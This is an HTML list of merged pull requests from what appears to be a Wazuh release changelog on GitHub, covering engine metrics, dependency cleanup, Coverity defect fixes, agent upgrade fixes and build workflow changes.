<li>Engine metrics collection, normalization and indexing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349765555" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35774" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35774/hovercard" href="https://github.com/wazuh/wazuh/pull/35774">#35774</a></li>
<li>Remove selinux from manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4398765035" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35965" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35965/hovercard" href="https://github.com/wazuh/wazuh/pull/35965">#35965</a></li>
<li>Added new CVE5 fields by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MiguelazoDS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MiguelazoDS">@MiguelazoDS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4422294945" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36030" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36030/hovercard" href="https://github.com/wazuh/wazuh/pull/36030">#36030</a></li>
<li>Restart Wazuh service on version check  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4408719168" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36003" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36003/hovercard" href="https://github.com/wazuh/wazuh/pull/36003">#36003</a></li>
<li>Add caller module context to indexer connector logging by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4398070262" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35963" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35963/hovercard" href="https://github.com/wazuh/wazuh/pull/35963">#35963</a></li>
<li>Fix wrong value of wazuh.cluster.name field in metrics indices by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419482478" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36012" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36012/hovercard" href="https://github.com/wazuh/wazuh/pull/36012">#36012</a></li>
<li>Align threat fields under wazuh by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386693274" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35902" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35902/hovercard" href="https://github.com/wazuh/wazuh/pull/35902">#35902</a></li>
<li>Revert the changes that preserve all configuration files when upgrading an agent by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4431048177" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36050" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36050/hovercard" href="https://github.com/wazuh/wazuh/pull/36050">#36050</a></li>
<li>Add code coverage reporting to legacy unit test workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4429482445" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36047" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36047/hovercard" href="https://github.com/wazuh/wazuh/pull/36047">#36047</a></li>
<li>Update JSON property names in Wodle event by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423052600" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36031" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36031/hovercard" href="https://github.com/wazuh/wazuh/pull/36031">#36031</a></li>
<li>Remove msgpack and pacman from external dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4405569070" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35987" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35987/hovercard" href="https://github.com/wazuh/wazuh/pull/35987">#35987</a></li>
<li>Defer engine sync while indexer is updating by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4391572075" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35945" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35945/hovercard" href="https://github.com/wazuh/wazuh/pull/35945">#35945</a></li>
<li>Add protection for double VDFirst scan by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409096011" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36004" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36004/hovercard" href="https://github.com/wazuh/wazuh/pull/36004">#36004</a></li>
<li>Update python requirements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4406686569" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35990" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35990/hovercard" href="https://github.com/wazuh/wazuh/pull/35990">#35990</a></li>
<li>Update cryptography and python multipart by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4402201914" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35982" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35982/hovercard" href="https://github.com/wazuh/wazuh/pull/35982">#35982</a></li>
<li>Fix string handling in version comparison function by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4436011781" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36059" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36059/hovercard" href="https://github.com/wazuh/wazuh/pull/36059">#36059</a></li>
<li>Dependency Reduction Evidence — Debian/Ubuntu by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4420691857" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36027" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36027/hovercard" href="https://github.com/wazuh/wazuh/pull/36027">#36027</a></li>
<li>Improve cluster file handling path validation in end_receiving_file by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4437000265" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36060" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36060/hovercard" href="https://github.com/wazuh/wazuh/pull/36060">#36060</a></li>
<li>Solve agent disconnect on direct 4.13→5.0 custom WPK upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432345557" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36052" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36052/hovercard" href="https://github.com/wazuh/wazuh/pull/36052">#36052</a></li>
<li>Prevent Windows agent restart abort when service is already stopping by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4406722126" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35991" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35991/hovercard" href="https://github.com/wazuh/wazuh/pull/35991">#35991</a></li>
<li>Remove /bin and /sbin from monitored directories on usrmerge distros by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4435922312" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36058" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36058/hovercard" href="https://github.com/wazuh/wazuh/pull/36058">#36058</a></li>
<li>Fix Coverity Medium Impact Defects - Release 5.0.0 Beta 1 (Agent) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4394546182" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35959" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35959/hovercard" href="https://github.com/wazuh/wazuh/pull/35959">#35959</a></li>
<li>Removal of unused dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419054371" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36010" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36010/hovercard" href="https://github.com/wazuh/wazuh/pull/36010">#36010</a></li>
<li>Deprecate API IT tier 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4440330903" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36074" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36074/hovercard" href="https://github.com/wazuh/wazuh/pull/36074">#36074</a></li>
<li>Expand Windows environment variables in SCA rule inputs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432584503" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36054" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36054/hovercard" href="https://github.com/wazuh/wazuh/pull/36054">#36054</a></li>
<li>Update wodle command arg construction for Windows paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400708349" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35973" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35973/hovercard" href="https://github.com/wazuh/wazuh/pull/35973">#35973</a></li>
<li>fix: Coverity Low Impact Defects by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423170822" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36032" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36032/hovercard" href="https://github.com/wazuh/wazuh/pull/36032">#36032</a></li>
<li>Include os_type in agent keepalive cluster sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4440766928" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36075" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36075/hovercard" href="https://github.com/wazuh/wazuh/pull/36075">#36075</a></li>
<li>Resolve relative indexer certificate paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4447096943" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36090" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36090/hovercard" href="https://github.com/wazuh/wazuh/pull/36090">#36090</a></li>
<li>wazuh-engine: Improve wic index deteccion by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446778206" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36087" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36087/hovercard" href="https://github.com/wazuh/wazuh/pull/36087">#36087</a></li>
<li>Adapted curl call for old system on wazuh-control by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448366384" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36094" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36094/hovercard" href="https://github.com/wazuh/wazuh/pull/36094">#36094</a></li>
<li>Remove 4_X workflows code from main by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4428189160" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36044" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36044/hovercard" href="https://github.com/wazuh/wazuh/pull/36044">#36044</a></li>
<li>Update changelog for 4.14.6 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4453253443" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36110" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36110/hovercard" href="https://github.com/wazuh/wazuh/pull/36110">#36110</a></li>
<li>Merge 4.14.6 into main by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4453057596" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36109" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36109/hovercard" href="https://github.com/wazuh/wazuh/pull/36109">#36109</a></li>
<li>Build binutils 2.41 in the deb-agent amd64 builder image by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454586135" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36128" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36128/hovercard" href="https://github.com/wazuh/wazuh/pull/36128">#36128</a></li>
<li>Ensure all workflows use specific OS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4449987713" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36104" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36104/hovercard" href="https://github.com/wazuh/wazuh/pull/36104">#36104</a></li>
<li>Refresh apt index before installing flex/bison for binutils 2.41 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455092073" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36133" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36133/hovercard" href="https://github.com/wazuh/wazuh/pull/36133">#36133</a></li>
<li>Improve json schema for optional time by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4455312947" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36136" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36136/hovercard" href="https://github.com/wazuh/wazuh/pull/36136">#36136</a></li>
<li>Improve Unit test's readme by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432590428" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36055" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36055/hovercard" href="https://github.com/wazuh/wazuh/pull/36055">#36055</a></li>
<li>Refresh deb-agent amd64 checkfiles sizes for ld 2.41 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456699158" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36144" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36144/hovercard" href="https://github.com/wazuh/wazuh/pull/36144">#36144</a></li>
<li>Local wazuh-manager installation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MiguelazoDS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MiguelazoDS">@MiguelazoDS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448824674" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36100" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36100/hovercard" href="https://github.com/wazuh/wazuh/pull/36100">#36100</a></li>
<li>Update support new OSs issue template for devOps team by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Enaraque/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Enaraque">@Enaraque</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467686112" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36154" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36154/hovercard" href="https://github.com/wazuh/wazuh/pull/36154">#36154</a></li>
<li>Unchecked return value defects reported by coverity by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432710024" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36056" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36056/hovercard" href="https://github.com/wazuh/wazuh/pull/36056">#36056</a></li>
<li>Add workflow to upgrade external dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4429898627" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36048" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36048/hovercard" href="https://github.com/wazuh/wazuh/pull/36048">#36048</a></li>
<li>Upgrade external deps: curl, sqlite, xz, libarchive (DEPS_VERSION 99-29734) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465183248" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36152" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36152/hovercard" href="https://github.com/wazuh/wazuh/pull/36152">#36152</a></li>
<li>Honor shutdown signal in agent-upgrade StartMQ to avoid timeout by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456527018" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36141" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36141/hovercard" href="https://github.com/wazuh/wazuh/pull/36141">#36141</a></li>
<li>Add keystore and indexer connector component tests workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MiguelazoDS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MiguelazoDS">@MiguelazoDS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456550832" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36142" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36142/hovercard" href="https://github.com/wazuh/wazuh/pull/36142">#36142</a></li>
<li>DockerListener messages as log by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4470535362" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36179" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36179/hovercard" href="https://github.com/wazuh/wazuh/pull/36179">#36179</a></li>
<li>Drop orphan paths before promoting on agent startup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472767040" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36198" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36198/hovercard" href="https://github.com/wazuh/wazuh/pull/36198">#36198</a></li>
<li>Build windows externals inside compile_windows_agent image by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4477160865" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36206" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36206/hovercard" href="https://github.com/wazuh/wazuh/pull/36206">#36206</a></li>
<li>Make sync_end_delay interruptible to remove stale modulesd.pid by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4486709088" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36240" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36240/hovercard" href="https://github.com/wazuh/wazuh/pull/36240">#36240</a></li>
<li>Restore vulnerability scanner database workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487628400" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36254" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36254/hovercard" href="https://github.com/wazuh/wazuh/pull/36254">#36254</a></li>
<li>Bump main branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493638930" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36294" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36294/hovercard" href="https://github.com/wazuh/wazuh/pull/36294">#36294</a></li>
